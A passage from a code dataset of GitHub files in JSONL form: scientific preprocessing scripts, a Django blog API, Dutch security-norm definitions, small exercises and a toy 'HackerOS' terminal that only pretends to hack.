self.adds_to is not None:\n sstr += \" {} = {} + {}\\n\".format(self.adds_to, self.adds_to, self.count)\n if self.cxx_var is not None:\n sstr += \" call check_equal({},{}+1)\\n\".format(self.f90_var, self.cxx_var)\n if self.ifdef is not None:\n sstr += \"#endif\\n\"\n sstr += \"\\n\"\n return sstr\n\n def get_cxx_set_string(self):\n sstr = \"\"\n if self.ifdef is not None:\n sstr += \"#ifdef {}\\n\".format(self.ifdef)\n\n if self.count != \"1\":\n sstr += \" if ({} > 0) {{\\n\".format(self.count_cxx)\n sstr += \" {} = cnt;\\n\".format(self.cxx_var)\n sstr += \" cnt += {};\\n\".format(self.count_cxx)\n sstr += \" }\\n\"\n else:\n sstr += \" {} = cnt;\\n\".format(self.cxx_var)\n sstr += \" cnt += {};\\n\".format(self.count_cxx)\n\n if self.ifdef is not None:\n sstr += \"#endif\\n\"\n sstr += \"\\n\"\n return sstr\n\ndef doit():\n\n # read the file and create a list of indices\n indices = []\n default_set = {}\n with open(\"_variables\", \"r\") as f:\n current_set = None\n default_group = None\n for line in f:\n if line.startswith(\"#\") or line.strip() == \"\":\n continue\n elif line.startswith(\"@\"):\n _, current_set, default_group = line.split()\n default_set[current_set] = default_group\n else:\n\n # this splits the line into separate fields. A field is a\n # single word or a pair in parentheses like \"(a, b)\"\n fields = re.findall(r'[\\w\\\"\\+\\.-]+|\\([\\w+\\.-]+\\s*,\\s*[\\w\\+\\.-]+\\)', line)\n\n name = fields[0]\n cxx_var = fields[1]\n f90_var = fields[2]\n adds_to = fields[3]\n count = fields[4].replace(\" \",\"\").strip()\n ifdef = fields[5]\n\n if adds_to == \"None\":\n adds_to = None\n if cxx_var == \"None\":\n cxx_var = None\n if ifdef == \"None\":\n ifdef = None\n\n indices.append(Index(name, f90_var, default_group=default_group,\n iset=current_set, also_adds_to=adds_to,\n count=count, cxx_var=cxx_var, ifdef=ifdef))\n\n\n # find the set of set names\n unique_sets = set([q.iset for q in indices])\n\n # all these routines will live in a single file\n with open(\"set_indices.F90\", \"w\") as f:\n\n f.write(HEADER)\n\n # loop over sets and create the function\n # arg list will be C++ names to compare to\n f.write(CHECK_EQUAL)\n\n for s in sorted(unique_sets):\n subname = \"ca_set_{}_indices\".format(s)\n\n set_indices = [q for q in indices if q.iset == s]\n\n # cxx names in this set\n cxx_names = [q.cxx_var for q in set_indices if q.cxx_var is not None]\n\n # add to\n adds_to = set([q.adds_to for q in set_indices if q.adds_to is not None])\n\n # write the function heading\n sub = \"\"\n\n if not cxx_names:\n sub += \"subroutine {}()\\n\".format(subname)\n else:\n sub += \"subroutine {}( &\\n\".format(subname)\n # we need to put all of the arguments that are ifdef-ed up front\n # so we can properly close the argument list (no hanging commas)\n cxx_with_ifdef = [q for q in set_indices if q.cxx_var is not None and q.ifdef is not None]\n cxx_wo_ifdef = [q for q in set_indices if q.cxx_var is not None and q.ifdef is None]\n\n cxx_all = cxx_with_ifdef + cxx_wo_ifdef\n for n, i in enumerate(cxx_all):\n if i.cxx_var is not None:\n if i.ifdef is not None:\n sub += \"#ifdef {}\\n\".format(i.ifdef)\n if n == len(cxx_all)-1:\n sub += \" {} {} &\\n\".format(\" \"*len(subname), i.cxx_var)\n else:\n sub += \" {} {}, &\\n\".format(\" \"*len(subname), i.cxx_var)\n if i.ifdef is not None:\n sub += \"#endif\\n\"\n\n sub += \" {})\\n\".format(\" \"*len(subname))\n\n sub += \"\\n\\n\"\n sub += \" use meth_params_module\\n\"\n sub += \" use network, only: naux, nspec\\n\"\n sub += \"#ifdef RADIATION\\n use rad_params_module, only : ngroups\\n#endif\\n\"\n sub += \" implicit none\\n\"\n\n for i in set_indices:\n if i.cxx_var is None:\n continue\n if i.ifdef is not None:\n sub += \"#ifdef {}\\n\".format(i.ifdef)\n sub += \" integer, intent(in) :: {}\\n\".format(i.cxx_var)\n if i.ifdef is not None:\n sub += \"#endif\\n\"\n sub += \"\\n\"\n\n # initialize the counters\n sub += \" {} = 1\\n\\n\".format(default_set[s])\n for a in adds_to:\n sub += \" {} = 1\\n\\n\".format(a)\n\n # write the lines to set the indices\n # first do those without an ifex\n for i in set_indices:\n if s == \"conserved\":\n sub += i.get_set_string(set_default=0)\n else:\n sub += i.get_set_string()\n\n # finalize the counters\n sub += \" {} = {} - 1\\n\".format(default_set[s], default_set[s])\n for a in adds_to:\n if a is None:\n continue\n sub += \" {} = {} - 1\\n\".format(a, a)\n\n # end the function\n sub += \"end subroutine {}\\n\\n\".format(subname)\n\n f.write(sub)\n\n # write the C++ include\n conserved_indices = [q for q in indices if q.iset == \"conserved\" and q.cxx_var is not None]\n\n with open(\"set_conserved.H\", \"w\") as f:\n f.write(\" int cnt = 0;\\n\")\n for c in conserved_indices:\n f.write(c.get_cxx_set_string())\n\n\nif __name__ == \"__main__\":\n doit()\n","repo_name":"Prydainian/AOSResearch2018","sub_path":"Castro-master/Source/driver/set_variables.py","file_name":"set_variables.py","file_ext":"py","file_size_in_byte":8469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"70151074786","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport os\nimport re\nfrom html.parser import HTMLParser\nfrom bs4 import BeautifulSoup\nfrom bs4 import element\nfrom itertools import product\nimport argparse\nimport numpy as np\nimport pandas as pd\nimport json\nfrom utils import *\n\ndef extract_text(soup):\n \"\"\"\n convert beautiful soup object into a python dict object with cleaned main text body\n \n Args: \n soup: BeautifulSoup object of html\n \n Return: \n result: dict of the maintext \n \"\"\"\n h1 = soup.find_all('h1',\"content-title\")[0].get_text()\n main_text = []\n# paragraphs = soup.find_all('p',attrs='p')\n paragraphs = soup.find_all('p',attrs={'id':re.compile('(__|_|)(p|P|Par|par)\\d+')})\n\n for p in paragraphs:\n h2 = p.find_previous('h2','head')\n# h2 = p.parent.find_previous_sibling('h2','head')\n if h2:\n h2=h2.get_text()\n else:\n h2=''\n h3 = p.find_previous_sibling('h3',attrs={'id':re.compile('S[\\d]title')})\n if h3:\n h3=h3.get_text()\n else:\n h3=''\n main_text.append([h2,h3,p.get_text()])\n\n result = {h1:main_text} \n return result\n\n\nif __name__=='__main__':\n parser = argparse.ArgumentParser()\n # parser.add_argument(\"-p\", \"--pbs_index\", type=int, help=\"pbs index/the file index\")\n parser.add_argument(\"-b\", \"--base_dir\", help=\"base directory for html files\")\n parser.add_argument(\"-t\", \"--target_dir\", help=\"target directory for output\")\n\n args = parser.parse_args()\n # pbs_index = args.pbs_index\n base_dir = args.base_dir\n target_dir = args.target_dir\n\n file_list = get_files(base_dir)\n # filepath = file_list[pbs_index]\n\n # with open(filepath,'r') as f:\n # text = f.read()\n # soup = BeautifulSoup(text, 'html.parser')\n # for e in soup.find_all(attrs={'style':['display:none','visibility:hidden']}):\n # e.extract()\n # # what to do with in sentence reference\n # for ref in soup.find_all(class_=['supplementary-material','figpopup','popnode','bibr']):\n # ref.extract()\n\n # process_supsub(soup)\n # process_em(soup)\n # process_caption(soup)\n # process_table_figures(soup)\n\n # result = extract_text(soup)\n # print(filepath, len(list(result.values())[0]))\n\n maintext_dict = {}\n for i,filepath in enumerate(file_list):\n \n pmc = filepath.split('/')[-1].strip('.html')\n with open(filepath,'r') as f:\n text = f.read()\n soup = BeautifulSoup(text, 'html.parser')\n for e in soup.find_all(attrs={'style':['display:none','visibility:hidden']}):\n e.extract()\n \n # what to do with in sentence reference\n for ref in soup.find_all(class_=['supplementary-material','figpopup','popnode','bibr']):\n ref.extract()\n process_supsub(soup)\n process_em(soup)\n \n result = extract_text(soup)\n maintext_dict[pmc] = result\n\n # target_dir = '../output/maintext/'\n\n for k,v in maintext_dict.items():\n with open(os.path.join(target_dir,\"{}_maintext.json\".format(k)), \"w\") as outfile: \n json.dump(v, outfile,ensure_ascii=False)\n\n","repo_name":"AlexSSun/GWAS_NLP","sub_path":"maintext_clean_batch.py","file_name":"maintext_clean_batch.py","file_ext":"py","file_size_in_byte":3186,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"20842759326","text":"# -*- coding: latin-1 -*-\n\"\"\"\n fragments - define text fragments in the document\n\"\"\"\nfrom domain.norm_document.model import Chapter, Section, Norm, Verifier\n\n\nS1301 = Section(\n identifier=\"13.01\",\n title=\"Rapportage van informatiebeveiligingsgebeurtenissen en zwakke plekken\",\n fragments=[\n Norm(\n identifier=\"13.01.01\",\n title=\"Rapportage van informatiebeveiligingsgebeurtenissen\",\n text=\"Informatiebeveiligingsgebeurtenissen behoren zo snel mogelijk via de juiste leidinggevende niveaus \"\n \"te worden gerapporteerd.\",\n fragments=[\n Verifier(\n identifier=\"13.01.01/01\",\n title=\"\",\n text=\"Er is een procedure voor het rapporteren van beveiligingsgebeurtenissen vastgesteld, \"\n \"in combinatie met een reactie- en escalatieprocedure voor incidenten, waarin de \"\n \"handelingen worden vastgelegd die moeten worden genomen na het ontvangen van een rapport \"\n \"van een beveiligingsincident.\",\n ),\n Verifier(\n identifier=\"13.01.01/02\",\n title=\"\",\n text=\"Er is een contactpersoon aangewezen voor het rapporteren van beveiligingsincidenten. \"\n \"Voor integriteitsschendingen is ook een vertrouwenspersoon aangewezen die meldingen in \"\n \"ontvangst neemt.\",\n ),\n Verifier(\n identifier=\"13.01.01/03\",\n title=\"\",\n text=\"Vermissing of diefstal van apparatuur of media die gegevens van de Rijksdienst kunnen \"\n \"bevatten wordt altijd ook aangemerkt als informatiebeveiligingsincident.\",\n ),\n Verifier(\n identifier=\"13.01.01/04\",\n title=\"\",\n text=\"Informatie over de beveiligingsrelevante handelingen van de gebruiker wordt regelmatig \"\n \"nagekeken. De BVA bekijkt maandelijks een samenvatting van de informatie.\",\n ),\n ],\n ),\n Norm(\n identifier=\"13.01.02\",\n title=\"Rapportage van zwakke plekken in de beveiliging\",\n text=\"Van alle werknemers, ingehuurd personeel en externe gebruikers van informatiesystemen en -diensten \"\n \"behoort te worden geëist dat zij alle waargenomen of verdachte zwakke plekken in systemen of \"\n \"diensten registreren en rapporteren.\",\n fragments=[\n Verifier(\n identifier=\"13.01.02/01\",\n title=\"\",\n text=\"Er is een proces om eenvoudig en snel beveiligingsincidenten en zwakke plekken in de \"\n \"beveiliging te melden.\",\n ),\n ],\n ),\n ],\n)\n\n\nS1302 = Section(\n identifier=\"13.02\",\n title=\"Beheer van informatiebeveiligingsincidenten en -verbeteringen\",\n fragments=[\n Norm(\n identifier=\"13.02.01\",\n title=\"Verantwoordelijkheden en procedures\",\n text=\"Er behoren leidinggevende verantwoordelijkheden en procedures te worden vastgesteld om een snelle, \"\n \"doeltreffende en ordelijke reactie op informatiebeveiligingsincidenten te bewerkstelligen.\",\n fragments=[\n Verifier(\n identifier=\"13.02.01/01\",\n title=\"\",\n text=\"Er zijn procedures voor rapportage van gebeurtenissen en escalatie. Alle medewerkers \"\n \"behoren op de hoogte te zijn van deze procedures.\",\n ),\n ],\n ),\n Norm(\n identifier=\"13.02.02\",\n title=\"Leren van informatiebeveiligingsincidenten\",\n text=\"Er behoren mechanismen te zijn ingesteld waarmee de aard, omvang en kosten van \"\n \"informatiebeveiligingsincidenten kunnen worden gekwantificeerd en gecontroleerd.\",\n fragments=[\n Verifier(\n identifier=\"13.02.02/01\",\n title=\"\",\n text=\"De informatie verkregen uit het beoordelen van beveiligingsmeldingen wordt geëvalueerd met \"\n \"als doel beheersmaatregelen te verbeteren.\",\n ),\n ],\n ),\n Norm(\n identifier=\"13.02.03\",\n title=\"Verzamelen van bewijsmateriaal\",\n text=\"Waar een vervolgprocedure tegen een persoon of organisatie na een informatiebeveiligingsincident \"\n \"juridische maatregelen omvat (civiel of strafrechtelijk), behoort bewijsmateriaal te worden \"\n \"verzameld, bewaard en gepresenteerd overeenkomstig de voorschriften voor bewijs die voor het \"\n \"relevante rechtsgebied zijn vastgelegd.\",\n fragments=[\n Verifier(\n identifier=\"13.02.03/01\",\n title=\"\",\n text=\"Voor een vervolgprocedure naar aanleiding van een beveiligingsincident behoort \"\n \"bewijsmateriaal te worden verzameld, bewaard en gepresenteerd overeenkomstig de \"\n \"voorschriften voor bewijs die voor het relevante rechtsgebied zijn vastgelegd.\",\n ),\n ],\n ),\n ],\n)\n\n\nCH13 = Chapter(\n identifier=\"13\",\n title=\"Beheer van Informatiebeveiligingsincidenten\",\n fragments=[\n S1301,\n S1302,\n ]\n)\n","repo_name":"ICTU/document-as-code","sub_path":"python/domain/bir2012/content/ch13.py","file_name":"ch13.py","file_ext":"py","file_size_in_byte":5635,"program_lang":"python","lang":"nl","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"14224380252","text":"'''\n\nPROBLEM: \n\nYou need to find the minimum number of refueling stops that a car needs to make to cover \na distance, target. For simplicity, assume that the car has to travel from west to east \nin a straight line. There are various fuel stations on the way that are represented as \na 2-D array of stations, i.e., stations[i] =[d i ​ ,f i ​ ] , where i ​ is the \ndistance (in miles) of the i th gas station from the starting position, and i ​ is the \namount of fuel (in liters) that it stores. Initially, the car starts with k liters of fuel. \n\nThe car consumes one liter of fuel for every mile traveled. Upon reaching a gas station, \nthe car can stop and refuel using all the petrol stored at the station. In case it cannot \nreach the target, the program simply returns − 1 −1 . \n\nNote: If the car reaches a station with 0 0 fuel left, it can refuel from that station, \nand all the fuel from that station can be transferred to the car. If the car reaches the \ntarget with 0 0 fuel left, it is still considered to have arrived.\n\n---------------------------\nPATTERN: GREEDY TECHNIQUES\n---------------------------\n\n'''\n\n\n\n\nimport heapq\n\ndef min_refuel_stops(target, start_fuel, stations): \n\n if start_fuel >= target or not stations : return 0\n\n max_heap = []\n num_stops = 0\n\n max_dist = start_fuel\n station = 0\n\n while max_dist < target :\n\n j = station\n for i in range(station, len(stations)) :\n if stations[i][0] <= max_dist :\n fuel_gained = stations[i][1]\n heapq.heappush(max_heap, -fuel_gained)\n j += 1\n station = j\n\n if max_heap : \n max_dist = max_dist + (-heapq.heappop(max_heap))\n num_stops += 1\n else : return -1\n\n return num_stops\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"kelanax/leetcode_prac","sub_path":"Greedy Techniques/min_refuel_stops.py","file_name":"min_refuel_stops.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"4497270386","text":"def linha(tam=42):\n return '~='*tam\n\ndef cabeçalho(txt):\n print(linha(21))\n print(txt.center(42))\n print(linha(21))\n\ndef leiaint(msg):\n while True:\n try:\n n = int(input(msg))\n except (ValueError, TypeError):\n print('\\033[31mERRO: Digite um numero inteiro.\\033[m')\n except (KeyboardInterrupt):\n print('\\n\\033[31mO Usuario preferiu não digitar o numero.\\033[m')\n return 0\n else:\n return n\n\n\ndef menu(lista):\n cabeçalho('Menu Principal')\n c =1\n for item in lista:\n print(f'\\033[33m{c}\\033[m - \\033[34m{item}\\033[m')\n c += 1\n print(linha(21))\n opc = leiaint('\\033[32mSua Opção: \\033[m')\n return opc\n\ndef LerArquivo(nome):\n try :\n a = open(nome, 'rt')\n except:\n print('Erro ao ler arquivo')\n else:\n cabeçalho('Pessoas cadastradas')\n for linha in a:\n dado =linha.split(';')\n dado[1] =dado[1].replace('\\n','')\n print(f'{dado[0]:<30}{dado[1]:>3} anos')\n finally:\n a.close()\n\ndef CriarArquivo(nome):\n try:\n a = open(nome, 'wt+')\n a.close()\n except:\n print('Houve um Erro na criação de uma arquivo')\n else:\n print(f'O arquivo {nome} foi criado com sucesso.')\n\ndef ArqExiste(nome):\n try:\n a = open(nome, 'rt')\n a.close()\n except FileNotFoundError:\n return False\n else:\n return True\n\ndef cadastrar(arq, nome='desconhecido', idade=0):\n try:\n a = open(arq, 'at')\n except:\n print('Houve um erro na abertura do arquivo!')\n else:\n try:\n a.write(f'{nome};{idade}\\n')\n except:\n print('Houve um erro ao escrever os dados')\n else:\n print(f'O novo cadastro de {nome} foi cadastrado com sucesso.')\n a.close()\n","repo_name":"brunobendel/Exercicios-python-Pycharm","sub_path":"Ex115/lib/interface/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"10075283897","text":"import json\nfrom django.http import JsonResponse, HttpResponse\nfrom django.core.paginator import Paginator\nfrom .models import User, Article, Group, Comment\nfrom django.views import View\nfrom datetime import timedelta, datetime\nfrom django.db.models import Prefetch\nfrom django.forms.models import model_to_dict\nfrom django.db.models.fields.files import FieldFile\n\nmonth_ago = datetime.now() - timedelta(weeks=4)\n\n\ndef return_url_from_file_field(model_dict):\n for item in model_dict:\n if isinstance(model_dict[item], FieldFile):\n model_dict[item] = model_dict[item].url\n return model_dict\n\n\nclass ArticleList(View):\n def get(self, request):\n try:\n article_list = Article.objects.filter(status='published').order_by('-public_date')\n paginator = Paginator(article_list, 14)\n page = int(request.GET.get('page', 1))\n object_list = paginator.get_page(page).object_list\n list_result = list(object_list.values(\n 'id', 'title', 'preview', 'author_id', 'view_number', 'comment_list',\n 'source_path', 'public_date')\n )\n except Exception:\n return JsonResponse(json.dumps({'error': True}), safe=False)\n return JsonResponse({'article_list': list_result, 'page_number': paginator.num_pages}, safe=False)\n\n\nclass ArticleItem(View):\n def get(self, request, article_id):\n try:\n article_item = Article.objects.get(id=article_id)\n\n data_list = model_to_dict(article_item, exclude=['preview', 'status', 'created_date', 'updated_date'])\n data_list['source_path'] = data_list['source_path'].url\n\n data_list['author'] = return_url_from_file_field(model_to_dict(article_item.author, exclude=['role', 'status']))\n\n data_list['category_list'] = article_item.group_list()\n\n comment_list_query_set = Comment.objects.filter(article=article_item.id)\n comment_list = [{\n 'id': comment.id,\n 'article_id': comment.article_id,\n 'text': comment.text,\n 'time': comment.time,\n 'author': return_url_from_file_field(model_to_dict(comment.author, exclude=['role', 'status'])),\n } for comment in comment_list_query_set]\n data_list['comment_list'] = comment_list\n\n except Exception as error:\n return JsonResponse(json.dumps({'error': list(error)}), safe=False)\n return JsonResponse(data_list, safe=False)\n\n def post(self, request):\n try:\n json_data = json.loads(request.body)\n print('title: ', json_data.get('title'))\n # print('article_data: ', json_data['title'])\n # print('article_data1: ', request.body['title'])\n except Exception:\n return JsonResponse(json.dumps({'success': False}), safe=False)\n return JsonResponse(json.dumps({'success': True}), safe=False)\n\n\nclass PopularList(View):\n def get(self, request):\n try:\n\n # TODO Change article list load number\n article_list = Article.objects \\\n .filter(public_date__gte=month_ago) \\\n .order_by('-view_number', '-public_date')[:2]\n except Exception:\n return JsonResponse(json.dumps({'success': False}), safe=False)\n return JsonResponse(list(article_list.values()), safe=False)\n\n\nclass GroupList(View):\n def get(self, request):\n try:\n group_list = Group.objects.all().prefetch_related(\n Prefetch(\n 'article_list',\n queryset=Article.objects.filter(public_date__gte=month_ago).order_by('-view_number', '-public_date')\n )\n )\n data_list = [{\n 'id': group.id,\n 'title': group.title,\n 'link': group.link,\n 'post_amount': len(group.article_list.all()),\n 'post': self.get_post_dict(group.article_list.all().first())\n } for group in group_list]\n except Exception as error:\n return JsonResponse(json.dumps({'error': error}), safe=False)\n return JsonResponse(data_list, safe=False)\n\n def get_post_dict(self, post):\n if post:\n category_list = list(post.group_set.all().values('id', 'link', 'title'))\n return {\n 'id': post.id,\n 'title': post.title,\n 'category_list': category_list,\n 'public_date': post.public_date.now(),\n 'author': User.objects.filter(id=1).values('id', 'name')[0],\n 'imgLink': post.source_path.url,\n\n }\n else:\n return {}\n\n\nclass AdvertisementList(View):\n def get(self, request):\n data_list = [\n dict(type='social_media', params=self.get_social_media()),\n dict(type='instagram', params=self.get_instagram_media()),\n ]\n return JsonResponse(data_list, safe=False)\n\n def get_social_media(self):\n return dict(\n title='Sent your email to receive the latest news',\n socialInfo='Subscribe our channels in social networks to be a part of community',\n socialNetworkList=[\n {'title': 'facebook', 'link': '/not-provided-yet', 'followers': 22},\n {'title': 'twitter', 'link': '/not-provided-yet', 'followers': 23},\n {'title': 'google-plus', 'link': '/not-provided-yet', 'followers': 44000},\n {'title': 'instagram', 'link': '/not-provided-yet', 'followers': 22060},\n ])\n\n def get_instagram_media(self):\n return [\n '/media/article_images/galery-1.jpg',\n '/media/article_images/galery-2.jpg',\n '/media/article_images/galery-3.jpg',\n '/media/article_images/galery-4.jpg',\n '/media/article_images/galery-5.jpg',\n '/media/article_images/galery-6.jpg',\n ]\n","repo_name":"Lopukhovych/ain_blog","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"14894195702","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 25 22:06:27 2019\n\n@author: user\n\"\"\"\n\n# 讀取檔案\n\ndata = []\ncount = 0\nwith open('reviews.txt', 'r') as f:\n for line in f:\n data.append(line) ## strip: 針對 str, 我能將多餘的空格或換行 '去除'\n count += 1\n if count % 1000 == 0:\n print(len(data))\nprint('檔案讀取完了, 總共有', len(data), '筆資料')\n\nprint(data[0])\n\n\n# 文字計數\nwc = {} # word_count\nfor d in data:\n\twords = d.split(' ')\n\tfor word in words:\n\t\tif word in wc:\n\t\t\twc[word] += 1\n\t\telse:\n\t\t\twc[word] = 1 # 新增新的 key 進 wc 字典\n\nfor word in wc:\n\tif wc[word] > 1000000:\n\t\tprint(word, wc[word])\n\nprint(len(wc))\nprint(wc['Allen'])\n\nwhile True:\n\tword = input('請問你想查什麼字: ')\n\tif word == 'q':\n\t\tbreak\n\tif word in wc:\n\t\tprint(word, '出現過的次數為: ', wc[word])\n\telse:\n\t\tprint('這個字沒有出現過喔! ')\n\nprint('感謝使用本查詢功能')\n\n\n\n\n\n#------------------------------------------------------------------\n\n# 留言分析\n\nsum_len = 0\nfor d in data:\n sum_len += len(d)\n print(sum_len)\n\nprint('留言的平均長度是', sum_len/len(data))\n\n\nnew = []\nfor d in data:\n if len(d) < 100:\n new.append(d)\nprint('一共有', len(new), '筆留言長度小於 100')\nprint(new[0])\nprint(new[1])\n\n\ngood = []\nfor d in data:\n if 'good' in d:\n good.append(d)\nprint('一共有', len(good), '筆留言提到 good')\nprint(good[0])\n\n\ngood = [d for d in data if 'good' in d]\nprint(good)\n\n\nbad = ['bab' in d for d in data]\nprint(bad)\n\n","repo_name":"jhjh81704/read_analysis","sub_path":"read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71453112228","text":"\r\n\r\nimport sys\r\nimport time\r\nimport random\r\nimport os\r\nimport keyboard\r\n\r\nusernames = [\"Jeff99\",\"xX_Henry_Xx\",\"Bob123\",\"C00lK1d\"]\r\npasswords = [\"Password123\",\"qwerty\",\"123456\"]\r\nvars=[]\r\nprefs = open(\"./SecretFiles/prefs.dat\", \"r\")\r\nprefRead = []\r\nfor line in prefs:\r\n\tprefRead.append(line)\r\nos.system(\"color \"+prefRead[0])\r\nprefs.close()\r\n\r\nusername=input(\"Username: \")\r\npassword=input(\"Password: \")\r\nprint(\"Logging in...\")\r\n\r\nprint(\"Configuring databases...\")\r\ntime.sleep(random.randint(1,5)/10)\r\nprint(\"Connecting to internet...\")\r\ntime.sleep(random.randint(1,5)/10)\r\nprint(\"Downloading temporary hacker files...\")\r\ntime.sleep(random.randint(1,5)/10)\r\nprint(\"Setting up secret stuff...\")\r\ntime.sleep(3)\r\nos.system('cls')\r\nprint(\"HackerOS ver. 0.1.8 started\")\r\nprint(\"type \\\"help\\\" for commands\")\r\ninfo = \"No info yet\"\r\nif True:\r\n\twhile True:\r\n\t cmd=\"\"\r\n\t cmd=input(\"HackerOS/\"+username+\"> \")\r\n\t if cmd == \"help\":\r\n\t print(\"\\n\\t\\\"hack\\\" start cool hacking stuff\")\r\n\t print(\"\\t\\\"hackerpad\\\" open up HackerPad™, makes a file in ./TextFiles/\")\r\n\t print(\"\\t\\\"hackerchat\\\" open up HackerChat™\")\r\n\t print(\"\\t\\\"cls\\\" or \\\"clear\\\" clear screen\")\r\n\t print(\"\\t\\\"quit\\\" exit HackerOS\")\r\n\t print(\"\\t\\\"run [file/program]\\\" execute/open a program/file\")\r\n\t print(\"\\t\\\"cmd [command]\\\" execute a command line command\")\r\n\t print(\"\\t\\\"setvar [index number] [value]\\\" sets a variable to the value\")\r\n\t print(\"\\t\\\"getvar [index number]\\\" returns the value of the variable at the index number\")\r\n\t print(\"\\t\\\"prefs\\\" edit the prefrences\")\r\n\r\n\t print()\r\n\t elif cmd == \"hack\":\r\n\t ip = input(\"IP: \")\r\n\t print(\"Staring hack...\")\r\n\t time.sleep(random.randint(1,5)/2)\r\n\t print(\"Acessing \"+ip)\r\n\t time.sleep(random.randint(1,5)/2)\r\n\t print(\"Getting login info...\")\r\n\t time.sleep(random.randint(1,5)/2)\r\n\t print(\"Done!\")\r\n\t print(\"Type \\\"info\\\" to get the info.\")\r\n\t info = \"Username: \"+usernames[random.randint(0,3)]+\"\\nPassword: \"+passwords[random.randint(0,2)]\r\n\t elif cmd == \"hackerpad\":\r\n\t file = input(\"File: \")\r\n\t time.sleep(1)\r\n\t os.system(\"start notepad TextFiles/\"+file)\r\n\t elif cmd == \"info\":\r\n\t print(info)\r\n\t elif cmd == \"hackerchat\":\r\n\t \tprint(\"Starting HackerChat™...\")\r\n\t \ttime.sleep(1)\r\n\t \tos.system(\"start ./SecretFiles/chat.html\")\r\n\t elif cmd == \"\":\r\n\t print()\r\n\t elif cmd == \"clear\" or cmd == \"cls\":\r\n\t os.system(\"cls\")\r\n\t elif cmd.split(\" \",1)[0] == \"run\":\r\n\t \tcommand = cmd.split(\" \",1)[1]\r\n\t \ttry:\r\n\t \t\tos.system(\"start \"+command)\r\n\t \texcept:\r\n\t \t\tprint(\"An error occurred\")\r\n\t elif cmd.split(\" \",1)[0] == \"cmd\":\r\n\t \tcommand = cmd.split(\" \",1)[1]\r\n\t \ttry:\r\n\t \t\tos.system(command)\r\n\t \texcept:\r\n\t \t\tprint(\"An error occurred\")\r\n\t elif cmd.split(\" \",2)[0] == \"setvar\":\r\n\t \ttry:\r\n\t \t\tvars.insert(int(cmd.split(\" \",2)[1]), cmd.split(\" \",2)[2])\r\n\t \texcept:\r\n\t \t\tprint(\"Error\")\r\n\t elif cmd.split(\" \",1)[0] == \"getvar\":\r\n\t \ttry:\r\n\t \t\tprint(vars[int(cmd.split(\" \",1)[1])-1])\r\n\t \texcept:\r\n\t \t\tprint(\"Error\")\r\n\t elif cmd == \"quit\":\r\n\t \tprefs = open(\"./SecretFiles/prefs.dat\", \"w+\")\r\n\t \tprefs.write(color)\r\n\t \tsys.exit()\r\n\t elif cmd == \"prefs\":\r\n\t \tpref = input(\"What do you want to edit?\\n 1: Color\\n\")\r\n\t \tif pref == \"1\":\r\n\t \t\tcolor = input(\"Color (Windows command line format): \")\r\n\t \t\tos.system(\"color \"+color)\r\n\r\n\t else:\r\n\t print(\"Unknown command: \"+cmd)\r\nelse:\r\n\tinput(\"Incorrect login info\")\r\n\tsys.exit()","repo_name":"CalSch/HackerOS","sub_path":"0.1.8/HackerOS.py","file_name":"HackerOS.py","file_ext":"py","file_size_in_byte":3628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5383606556","text":"import csv\nimport networkx as nx\nimport pandas as pd\nimport seaborn as sns\nimport random\nimport matplotlib.pyplot as plt\nimport os\n\nclass OddVsEven():\n\t\n\tdef __init__(self, \n\t\tdisease_experiment_dir_path,\n\t\tsolution_without_missing_information_file_path, \n\t\tnetwork_file_path,\n\t\tontology_file_path,\n\t\tlocus_gene_file_path,\n\t\tfilter_):\n\n\t\tself.ontology_file_path = ontology_file_path\n\n\t\tself.solution_without_missing_information_file_path = solution_without_missing_information_file_path\n\t\tself.disease_experiment_dir_path = disease_experiment_dir_path\n\n\t\tself.algorithms_file_path = disease_experiment_dir_path + \"algorithms/\"\n\t\tself.validation_dir_path = disease_experiment_dir_path + \"validation/\"\n\n\t\tif not os.path.exists(self.validation_dir_path):\n\t\t\tos.makedirs(self.validation_dir_path)\n\n\t\tself.filter_ = filter_\n\t\tself.locus_gene_file_path = locus_gene_file_path\n\t\t\n\t\tself.chromosome_splitting_dir_path = disease_experiment_dir_path + \"chromosome_splitting/\"\n\t\t\n\t\tself.__load_locus_genes__()\n\t\tself.map__algorithm__solution = {dir_: (self.__load_solution__(self.algorithms_file_path + dir_ + \"/even.txt\"),self.__load_solution__(self.algorithms_file_path + dir_ + \"/odd.txt\")) for dir_ in os.listdir(self.algorithms_file_path) if dir_[0] != \".\" and dir_ not in self.filter_}\n\n\t\tself.network_file_path = network_file_path\n\n\t\tself.odd_loci = {\n\t\t\t'rs7650602','rs11118406','rs12185268','rs10760580','rs798565','rs11655567','rs2040732','rs72673419',\n\t\t\t'rs10866659','rs156394','rs2096468','rs2897075','rs34651','rs7866939','rs34727469','rs55676755',\n\t\t\t'rs4757118','rs76841360','rs3009947','rs4093840','rs629619','rs1529672','rs13073544','rs7642001',\n\t\t\t'rs9435731','rs1441358','rs9525927','rs10152300','rs979453','rs1551943','rs10114763','rs12519165',\n\t\t\t'rs72626215','rs62259026','rs8080772','rs62065216','rs117261012','rs10037493','rs4660861','rs17759204',\n\t\t\t'rs2442776','rs803923','rs62375246','rs72731149','rs2955083','rs11579382','rs153916'\n\t\t\t\n\t\t}\n\n\t\tself.even_loci = 